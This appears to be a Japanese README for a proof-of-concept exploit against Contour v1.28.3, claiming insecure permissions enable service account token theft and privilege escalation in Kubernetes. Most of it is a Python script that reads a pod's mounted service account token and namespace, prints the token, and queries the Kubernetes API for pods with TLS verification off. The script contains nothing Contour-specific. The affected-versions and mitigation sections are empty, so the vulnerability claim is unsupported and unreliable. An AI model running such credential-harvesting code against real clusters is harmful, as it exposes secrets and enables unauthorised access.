
Contour v1.28.3における安全でない権限を実証する概念実証エクスプロイト。サービスアカウントトークンの窃取とKubernetes APIアクセスを可能にし、権限昇格(特権昇格)を引き起こします。
このリポジトリには、Contour v1.28.3 における安全でない権限の脆弱性を示す概念実証 (PoC) スクリプトが含まれています。この脆弱性により、攻撃者はサービスアカウントのトークンを取得して機密データにアクセスし、権限を昇格させることができます。
CVE-ID: (Pending)
概要: Contour v1.28.3 には安全でない権限が含まれており、攻撃者がサービスアカウントのトークンにアクセスすることを許可します。この脆弱性を悪用することで、攻撃者はサービスアカウントのトークンを取得し、機密データにアクセスしたり、Kubernetes クラスター内で権限を昇格させたりする可能性があります。
影響を受けるバージョン:
緩和策:
この PoC スクリプトは、Contour v1.28.3 でサービスアカウントのトークンにアクセスする方法を示しています。このテストを実行するには、明示的な許可があることを確認してください。
import os
import requests
# Configuration
kubernetes_api_url = "https://kubernetes.default.svc" # Kubernetes API URL
token_path = "/var/run/secrets/kubernetes.io/serviceaccount/token" # Path to the service account token
namespace_path = "/var/run/secrets/kubernetes.io/serviceaccount/namespace" # Path to the namespace
def get_service_account_token():
try:
# Read the service account token
with open(token_path, 'r') as token_file:
token = token_file.read().strip()
print(f"[+] Service Account Token: {token}")
return token
except Exception as e:
print(f"[-] Error reading token: {e}")
return None
def get_namespace():
try:
# Read the namespace
with open(namespace_path, 'r') as namespace_file:
namespace = namespace_file.read().strip()
print(f"[+] Namespace: {namespace}")
return namespace
except Exception as e:
print(f"[-] Error reading namespace: {e}")
return None
def access_kubernetes_api(token, namespace):
try:
# Set the headers with the token
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
# Make a request to the Kubernetes API to get pods in the namespace
response = requests.get(f"{kubernetes_api_url}/api/v1/namespaces/{namespace}/pods", headers=headers, verify=False)
# Print the response details
print("Status Code:", response.status_code)
print("Response Body:", response.json())
if response.status_code == 200:
print("[+] Successfully accessed Kubernetes API.")
else:
print("[-] Failed to access Kubernetes API.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
# Get the service account token and namespace
token = get_service_account_token()
namespace = get_namespace()
if token and namespace:
# Access the Kubernetes API using the token
access_kubernetes_api(token, namespace)
この脆弱性に対処するには:
Contour デプロイメントのセキュリティ保護の詳細については、公式の Contour ドキュメント を参照してください。
この README.md は脆弱性の概要、問題を示す PoC スクリプト、およびリスクを軽減する方法についての説明を提供しています。この PoC は責任を持って、明示的な許可があるシステムでのみ取り扱ってください。